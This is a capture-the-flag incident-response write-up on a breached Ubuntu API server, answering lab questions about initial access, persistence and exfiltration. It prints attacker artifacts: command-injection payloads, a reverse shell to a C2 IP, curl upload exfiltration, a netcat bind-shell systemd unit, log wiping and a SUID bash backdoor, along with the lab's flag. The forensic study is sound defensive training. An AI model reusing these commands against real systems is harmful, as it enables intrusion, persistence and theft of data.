

L2 - 15.3. APIWizards Breach

Task 1 - Preparation

You were hired as a dedicated external DFIR specialist to help the APIWizards Inc. company with a security incident in their production environment. APIWizards develop REST APIs on demand and hosts them on separate Ubuntu servers. The company suspects that one of its servers is compromised.

APIWizards CISO: *"This is our third breach for this year: we see strange web requests in Nginx logs, then some unexpected changes in system files, and after a few days, we see our data in Telegram! We tried cleaning infected files, but hackers are always one step forward."*

"Yesterday, we observed a similar web scan on our newly deployed API server, and suspect it might be the same threat actors. We quickly isolated the server from the network and desperately hope for your help!"

Task 2 - Initial Access

"We host our applications in home user directories and serve them via Nginx. This time, we deployed a simple API to get the date and time by specifying a timezone. Is there anything strange going on?"

Answer the questions below

| Which programming language is a web application written in?

Python

```

dev@ip-10-112-160-230:~$ ls -la
total 40
drwxr-x--- 6 dev dev 4096 Jul 30 2023 .
drwxr-xr-x 6 root root 4096 Jun 29 2025 ..
drwxrwxr-x 4 dev dev 4096 Jul 29 2023 apiservice
-rw----- 1 dev dev 196 Sep 4 06:22 .bash_history
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3836 Jul 29 2023 .bashrc
drwx----- 3 dev dev 4096 Jul 29 2023 .cache
drwxrwxr-x 5 dev dev 4096 Jul 29 2023 .local
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
drwx----- 2 dev dev 4096 Sep 4 06:24 .ssh
-rw-r--r-- 1 dev dev 0 Jul 29 2023 .sudo_as_admin_su
dev@ip-10-112-160-230:~$ cd apiservice
dev@ip-10-112-160-230:~/apiservice$ ls -la
total 20
drwxrwxr-x 4 dev dev 4096 Jul 29 2023 .
drwxr-x--- 6 dev dev 4096 Jul 30 2023 ..
-rw-rw-r-- 1 dev dev 240 Jul 29 2023 main.py
drwxrwxr-x 2 dev dev 4096 Jul 29 2023 __pycache__
drwxrwxr-x 3 dev dev 4096 Jul 29 2023 src
dev@ip-10-112-160-230:~/apiservice$

```

the system folders shows that Python was used to develop the application.

What is the IP address that attacked the web server?

149.34.244.142

```

dev@ip-10-112-160-230:/var/log/nginx$ tail access.log
dev@ip-10-112-160-230:/var/log/nginx$ tail access.log.1
149.34.244.142 - - [30/Jul/2023:16:13:25 +0000] "GET /api/time HTTP/1.1" 200 65 "-" Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:13:32 +0000] "GET /api/time?tz=test HTTP/1.1" 200 66 "-" Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:26 +0000] "GET /api/time?tz=%22%20whoami%20%23 HTTP/1.1" 200 57 "-" Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:36 +0000] "GET /api/time?tz=%22%20pwd%20%23 HTTP/1.1" 200 71 "-" Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:40 +0000] "GET /api/time?tz=%22%20id%20%23 HTTP/1.1" 200 149 "-" Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

```

Reviewing the /var/log/nginx directory allows us to examine the web server logs generated by Nginx.

Which vulnerability was found and exploited in the API service?

OS command injection

The screenshot shows the CyberChef web interface. On the left, under the 'Recipe' tab, the 'URL Decode' tool is selected with the option 'Treat "+" as space' checked. The 'Input' field on the right contains a long URL-encoded string. Below the input, the 'Output' field displays the decoded result, which is a shell command. The command is split across two lines in the output: the first line contains the command up to the first space, and the second line contains the rest of the command starting with a space. The command is: `" ; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp/HdNbIEFl5Eagg/QIyBg5NdP /home/dev/.ssh/authorized_keys #`

```
%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbIEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2FAuthorized%5Fkeys%20%23
```

```
" ; echo "ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp/HdNbIEFl
5Eagg/QIyBg5NdP

" >> /home/dev/.ssh/authorized_keys #
```

Decoding the tz parameters from the earlier GET queries via CyberChef's URL-Decode tool clearly exposed the executed commands. api.py is OS Command Injection

```

dev@ip-10-112-160-230:~$ cd ~/apiservice/src/
dev@ip-10-112-160-230:~/apiservice/src$ ls
api.py  config.py  __pycache__
dev@ip-10-112-160-230:~/apiservice/src$ cat api.py
import subprocess

from fastapi import APIRouter

api = APIRouter(prefix="/api")

def execute(cmd):
    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
    out, _ = proc.communicate()
    return out.decode().strip()

@api.get("/")
async def root():
    # TODO add documentation
    return {}

@api.get("/zone")
async def zone():
    cmd = "timedatectl list-timezones"
    out = execute(cmd)
    out = out.split("\n")
    return {"status": "ok", "timezones": out}

@api.get("/time")
async def time(tz: str = "UTC"):
    cmd = 'TZ="{}" date +"%Y-%m-%d %H:%M:%S"'
    cmd = cmd.format(tz)
    out = execute(cmd)
    return {"status": "ok", "timezone": tz, "datetime": out}

```

Which file contained the credentials used to privesc to root?

/home/dev/apiservice/src/config.py

```
dev@ip-10-112-160-230:~/apiservice/src$ cat config.py
class config:
    API_HOST = "0.0.0.0"
    API_PORT = 8081

    # TODO: Implement some authentication
    # API_USER = "dev"
    # API_PASS = "d3v-p455w0rd"
```

readlink command with the **"-f"** flag to get the absolute path of any file on Linux.

What file did the hacker drop and execute to persist on the server?

/tmp/rooter2

```
dev@ip-10-112-160-230:~/apiservice/src$ sudo su
[sudo] password for dev:
Sorry, try again.
[sudo] password for dev:
curl: (28) Connection timed out after 5000 milliseconds
root@ip-10-112-160-230:/home/dev/apiservice/src# ls -la
total 20
drwxrwxr-x 3 dev dev 4096 Jul 29 2023 .
drwxrwxr-x 4 dev dev 4096 Jul 29 2023 ..
-rw-rw-r-- 1 dev dev 692 Jul 29 2023 api.py
-rw-rw-r-- 1 dev dev 157 Jul 29 2023 config.py
drwxrwxr-x 2 dev dev 4096 Jul 29 2023 __pycache__
root@ip-10-112-160-230:/home/dev/apiservice/src# cd
root@ip-10-112-160-230:~# ls -la
total 56
drwx----- 6 root root 4096 Jul 3 2025 .
drwxr-xr-x 19 root root 4096 Sep 4 06:16 ..
-rw----- 1 root root 599 Sep 4 06:54 .bash_history
-rw-r--r-- 1 root root 3390 Jul 30 2023 .bashrc
drwx----- 2 root root 4096 Jun 28 2025 .cache
-rw-r--r-- 1 root root 221 Jul 30 2023 .dump.json
-rw----- 1 root root 20 Jun 28 2025 .lessht
drwxr-xr-x 3 root root 4096 Jul 29 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 6150 Jul 30 2023 .review.csv
drwx----- 3 root root 4096 Jul 28 2023 snap
drwx----- 2 root root 4096 Jun 28 2025 .ssh
-rw----- 1 root root 798 Jul 3 2025 .viminfo
```

Checking the Bash history shows a specific file being targeted by a **curl** request.

```

root@ip-10-112-160-230:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
> /var/log/wtmp
> /var/log/btmp
lastlog --clear --user root
lastlog --clear --user dev
mv cde-backup.csv review.csv
systemctl status nginx
systemctl status apservice
curl localhost
systemctl status apservice
exit
clear
vi ~/.bash_history
ls -la
cd
ls -la
root@ip-10-112-160-230:~#
Display all 1566 possibilities? (y or n)

```

The presence of `rooter2` within the temporary directory highlights a persistence method deployed by the threat actor.

Which service was used to host the "rooter2" malware?

transfer.sh

Based on the captured screenshot and the corresponding `wget` command, it is clear that the shell script `transfer.sh` delivers the `rooter2` malware.

Task 3 - Further Actions

"No way it was so easy to exploit! While we are calling the developer, please check if there are any backdoors left by the hackers. They were extremely clever the previous two times, so be vigilant!"

Answer the questions below

Which two system files were infected to achieve cron persistence?

/etc/crontab, /etc/environment

```
root@ip-10-112-160-230:~# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the
environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fr
i,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.monthly )
#
20 4 * * * root eval $SYSTEMUPDATE
root@ip-10-112-160-230:~# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/us
r/local/games:/snap/bin"
SYSTEMUPDATE=/bin/bash -c '/bin/bash -i >& /dev/tcp/5.230.66.147/1337 0>&1'
root@ip-10-112-160-230:~#
```

Running `cat /etc/environment` allows us to inspect global variables, such as `SYSTEMUPDATE`, loaded by the operating system upon login.

What is the C2 server IP address of the malicious actor?

5.230.66.147

the `SYSTEMUPDATE` variable executes a bind shell tied to `5.230.66.147`, which matches the IP address seen in the root user's `curl` history and marks it as the active C2 node.

What port is the backdoored bind bash shell listening at?

3578

```
dev@ip-10-112-160-230:~$ sudo su
[sudo] password for dev:
curl: (28) Connection timed out after 5000 milliseconds
root@ip-10-112-160-230:/home/dev# cd
root@ip-10-112-160-230:~# ps -aux
USER          PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.6 101976 12772 ?        Ss   06:16   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    06:16   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   06:16   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   06:16   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I<   06:16   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?        I<   06:16   0:00 [netns]
root           8  0.0  0.0      0     0 ?        I<   06:16   0:00 [kworker/0:0H-events_highpri
```

Checking active system processes with `ps -aux` exposed a suspicious Netcat command bound to listening port 3578.

```
root           645  0.0  0.1  7372  3500 ?        Ss   06:16   0:00 /bin/bash -c mkfifo /tmp/s; cat /tmp/s |
root           647  0.0  0.3 155000 7820 ?        Ss   06:16   0:00 /lib/systemd/systemd-logind
root           649  0.0  0.6 392464 12632 ?        Ssl  06:16   0:00 /usr/libexec/udisks2/udisksd
root           676  0.0  0.0   5800  1080 ttyS0    Ss+  06:16   0:00 /sbin/agetty -o -p -- \u --keep-baud 115
root           682  0.0  0.0   6176  1104 ttyL    Ss+  06:16   0:00 /sbin/agetty -o -p -- \u --noclear ttyL
root           683  0.0  0.0   5912  1020 ?        S    06:16   0:00 cat /tmp/s
root           684  0.0  0.0   7372  1444 ?        S    06:16   0:00 /bin/bash
root           685  0.0  0.0   3536  1232 ?        S    06:16   0:00 nc -l 3578
syslog         686  0.0  0.2 222404 5904 ?        Ssl  06:16   0:00 /usr/sbin/rsyslogd -n -iNONE
root           689  0.0  1.0 109788 21596 ?        Ssl  06:16   0:00 /usr/bin/python3 /usr/share/unattended-u
root           690  0.0  0.5 317972 11892 ?        Ssl  06:16   0:00 /usr/sbin/ModemManager
root           698  0.0  0.4  15440  9364 ?        Ss   06:16   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of
root           730  0.0  0.0   55232 1676 ?        Ss   06:16   0:00 nginx: master process /usr/sbin/nginx -g
www-data       731  0.0  0.2  55864  5624 ?        S    06:16   0:00 nginx: worker process
root           736  0.0  1.3 1325328 26564 ?       Sl   06:16   0:01 /usr/bin/ssm-agent-worker
```

How does the bind shell persist across reboots?

systemd service

```
root@ip-10-112-160-230:~# cd /etc/systemd/system/multi-user.target.wants/
root@ip-10-112-160-230:/etc/systemd/system/multi-user.target.wants# ls
amazon-ssm-agent.service  open-vm-tools.service  snap-lxd-24322.mount
apiservice.service        pollinate.service      snap-lxd-31333.mount
badr.service              remote-fs.target        snap.lxd.activate.service
console-setup.service     rsyslog.service        snap-snapd-23771.mount
cron.service              secureboot-db.service  snap-snapd-24718.mount
dmesg.service             snap-core20-1974.mount socket.service
e2scrub_reap.service      snap-core20-2599.mount ssh.service
grub-common.service       snapd.aa-prompt-listener.service systemd-networkd.service
grub-initrd-fallback.service snapd.apparmor.service systemd-resolved.service
irqbalance.service       snapd.autoimport.service thermald.service
lxd-agent.service         snapd.core-fixup.service ua-reboot-cmds.service
ModemManager.service     snapd.recovery-chooser-trigger.service ubuntu-advantage.service
networkd-dispatcher.service snapd.seeded.service  ufw.service
nginx.service             snapd.service          unattended-upgrades.service
```

<https://attack.mitre.org/techniques/T1543/002/>

```
root@ip-10-112-160-230:/etc/systemd/system/multi-user.target.wants# cat socket.service
[Unit]
Description=Linux Socket Service
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/
ExecStart=/bin/bash -c \
'mkfifo /tmp/s; cat /tmp/s | /bin/bash 2>&1 \
| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'

Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
```

A recursive grep for `nc -l` across the root directory flagged two systemd service entries, aligning with known MITRE persistence mechanisms where adversaries abuse systemd services to retain access.

What is the absolute path of the malicious service?

`/etc/systemd/system/socket.service`

Inspecting the service definition in the snippet confirms the exact file system path used to launch the Netcat listener.

Task 4 - Even More Persistence

"We finally reached the developer and he said he would need two weeks to fix the vulnerability! Meanwhile, can you please proceed with the DFIR? We need every malicious indicator you can find to hunt for them on other APIWizards servers."

Answer the questions below

Which port is blocked on the victim's firewall?

3578

```

root@ip-10-112-160-230:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source                destination
ACCEPT     tcp  --  5.230.66.147          anywhere
DROP       tcp  --  anywhere              anywhere        tcp dpt:3578
ACCEPT     tcp  --  5.230.66.147          anywhere
DROP       tcp  --  anywhere              anywhere        tcp dpt:3578

```

We can review all active security rules defined within the native `iptables` firewall by running `iptables -L`.

| How do the firewall rules persist across reboots?

root/.bashrc

Examining the root user's `~/.bashrc` file brought to light the startup commands used to maintain the active firewall rules.

| How is the backdoored local Linux user named?

support

Checking the contents of `/etc/passwd` for `/bin/bash` entries exposes an auxiliary user with the username `support`.

```

dev@ip-10-112-160-230:/home$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
support:x:1001:1001:::/home/support:/bin/bash
ubuntu:x:1003:1004:Ubuntu:/home/ubuntu:/bin/bash

```

| Which privileged group was assigned to the user?

sudo

We can verify a user's group memberships by running the `groups` command.

```

dev@ip-10-112-160-230:/home$ groups support
support : support sudo

```

| What is the strange word on one of the backdoored SSH keys?

ntsvc

```
root@ip-10-112-160-230:/home# cd /root/.ssh
root@ip-10-112-160-230:~/.ssh# ls -la
total 12
drwx----- 2 root root 4096 Jun 28  2025 .
drwx----- 6 root root 4096 Jul  3  2025 ..
-rw----- 1 root root 1600 Sep  4 06:16 authorized_keys
root@ip-10-112-160-230:~/.ssh# cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPllf3AGMrW5GhvcX7eq2vbCIxElU3Ef/HRm5ZwLVbKj ntsvc
```

By reviewing `/root/.ssh/authorized_keys`, we can locate the authorized SSH keys for root and identify the unusual keyword `ntsvc` appended after a space.

Can you spot and name one more popular persistence method? Not a MITRE technique name.

SUID binary

```

root@ip-10-112-160-230:~# find / -perm -u=s -type f 2>/dev/null
/snap/snapd/24718/usr/lib/snapd/snap-confine
/snap/snapd/23771/usr/lib/snapd/snap-confine
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/clamav
/usr/bin/pkexec

```

Leveraging the hint, I inferred that abusing SUID file permissions is a viable persistence tactic in Linux environments. We can search the entire filesystem for these binaries by executing `find / -perm -u=s -type f 2>/dev/null`.

What are the original and the backdoored binaries from question 6?

`/usr/bin/bash`, `/usr/bin/clamav`

```

root@ip-10-112-160-230:~# dpkg --verify clamav
dpkg: package 'clamav' is not installed
root@ip-10-112-160-230:~# /usr/bin/clamav --help
GNU bash, version 5.1.16(1)-release (x86_64-pc-linux-gnu)
Usage: /usr/bin/clamav [GNU long option] [option] ...
       /usr/bin/clamav [GNU long option] [option] script-file ...
GNU long options:
    --debug
    --debugger
    --dump-po-strings
    --dump-strings
    --help
    --init-file
    --login
    --noediting
    --noprofile
    --norc
    --posix
    --pretty-print
    --rcfile
    --restricted
    --verbose
    --version
Shell options:
    -ilrsD or -c command or -O shopt_option          (invocation only)
    -abefhkmnptuvxBCHP or -o option
Type `./usr/bin/clamav -c "help set"' for more information about shell options.
Type `./usr/bin/clamav -c help' for more information about shell builtin commands.
Use the `bashbug' command to report bugs.

bash home page: <http://www.gnu.org/software/bash>
General help using GNU software: <http://www.gnu.org/gethelp/>

```

The binary `/usr/bin/clamav` raised immediate suspicion—ClamAV is a known antivirus suite, but running `dpkg --verify clamav` proved the package was entirely absent from the system package manager. Investigating the executable further by running `/usr/bin/clamav --help` showed that it was actually a renamed or wrapped Bash executable displaying standard shell help.

```

root@ip-10-112-160-230:/home/dev# md5sum /usr/bin/clamav
11227b11f565de042c48654a241e9d1c /usr/bin/clamav
root@ip-10-112-160-230:/home/dev# md5sum /usr/bin/bash
d7bc3ce3b6b7ac53ba2918a97d806418 /usr/bin/bash
root@ip-10-112-160-230:/home/dev# █

```

Hash verification between `/usr/bin/clamav` and the system's standard `/usr/bin/bash` executable produces identical checksums, establishing that the file is an imposter copy of the Bash shell.

What technique was used to hide the backdoor creation date?

Timestomping

After online check , attackers use timestomping to alter file timestamps, making backdoors appear to be normal system files.

Task 5 - Final Target

"That's a lot of persistence! But why would the hackers reveal all their techniques? Maybe to use the server as an entry point to our cardholder data environment? Please check for any traces of lateral movement or data exfiltration; perhaps dumps are still there."

Answer the questions below

What file was dropped which contained gathered victim information?

/root/.dump.json

```
root@ip-10-112-160-230:/home/dev# history
1  cd /tmp/
2  wget https://transfer.sh/2tttL9HJLG/rooter2
3  chmod +x rooter2 && ./rooter2
4  cd /root/
5  ls -la
6  cat .ssh/authorized_keys
7  ll .ssh/
8  curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
9  nc -zv 192.168.0.22 22
10 nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
11 curl -v 192.168.0.22:8080
12 wget 192.168.0.22:8080/cde-backup.csv
```

Analyzing the history log for the root account confirms the attacker identified and referenced the `.dump.json` file.

According to the dropped dump, what is the server's kernel version?

5.15.0-78-generic

```
root@ip-10-112-160-230:~# cat .dump.json
{"C0": "0DguMTU2LjEzMi42Nw==", "C1": "cHJvZC13ZWItMDAz0joyMDIzLT
A3LTMwIDE20jAz0jI20jo1LjE1LjAtNzgtZ2VuZXJpYzo6VWJ1bnR1IDIyLjA
```

```
0LjIgTFRT0jpzc2gtMjI=", "C2": "MTkyLjE2OC4wLjIx0jIy0jox0TIuMTY4LjAuMjE6ODA60jE5Mi4xNjguMC4yMjoyMg==" }root@ip-10-112-160-230:~#
```

Running `cat .dump.json` brings up a Base64-encoded string. Once decoded in CyberChef (omitting the outer envelope), the resulting output reveals the host's kernel version to be `5.15.0-78-generic`.

The screenshot shows the CyberChef web interface. On the left, the 'Recipe' panel is active, showing a 'From Base64' recipe. The 'Alphabet' dropdown is set to 'A-Za-z0-9+/' and the 'Remove non-alphabet chars' checkbox is checked. The 'Input' panel on the right contains a Base64-encoded string. Below the input, the 'Output' panel displays the decoded string, which includes system information: '88.156.132.67prod-web-003::2023-07-30 16:03:26::5.15.0-78-generic::Ubuntu 22.04.2 LTS::ssh-22192.168.0.21:22::192.168.0.21:80::192.168.0.22:22'.

Which active internal IPs were found by the "rooter2" network scan?

192.168.0.21,192.168.0.22

Inspecting the displayed `Rooter2` output reveals that the tool mapped out internal network addresses `192.168.0.21` and `192.168.0.22`.

How did the hacker find an exposed HTTP index on another internal IP?

`nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed`

```

root@ip-10-112-160-230:/home/dev# history
 1 cd /tmp/
 2 wget https://transfer.sh/2tttL9HJLG/rooter2
 3 chmod +x rooter2 && ./rooter2
 4 cd /root/
 5 ls -la
 6 cat .ssh/authorized_keys
 7 ll .ssh/
 8 curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
 9 nc -zv 192.168.0.22 22
10 nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
11 curl -v 192.168.0.22:8080
12 wget 192.168.0.22:8080/cde-backup.csv
13 > /var/log/wtmp
14 > /var/log/btmp
15 lastlog --clear --user root
16 lastlog --clear --user dev
17 mv cde-backup.csv review.csv
18 systemctl status nginx
19 systemctl status apservice
20 curl localhost
21 systemctl status apservice
22 exit
23 clear

```

Reviewing the root Bash history shows the attacker executing a network scan (`nc -z`) against IP `192.168.0.22` across ports 1024 to 100000, filtering out unsuccessful connection attempts using `grep -v "failed"` .

What command was used to exfiltrate the CDE database from the internal IP?

`wget 192.168.0.22:8080/cde-backup.csv`

Inspecting the displayed shell history reveals a `wget` request initiated toward `192.168.0.22:8080` , used by the attacker to retrieve or exfiltrate `cde-backup.csv` .

What is the most secret and precious string stored in the exfiltrated database?

`pwned{v3ry-secu3-cardh0ld3r-data-envi3nm3nt}`

Checking root's Bash history reveals that `cde-backup.csv` was renamed to the hidden file `.review.csv` ; executing `cat .review.csv` displays the initial contents and exposes the final flag on the very first line.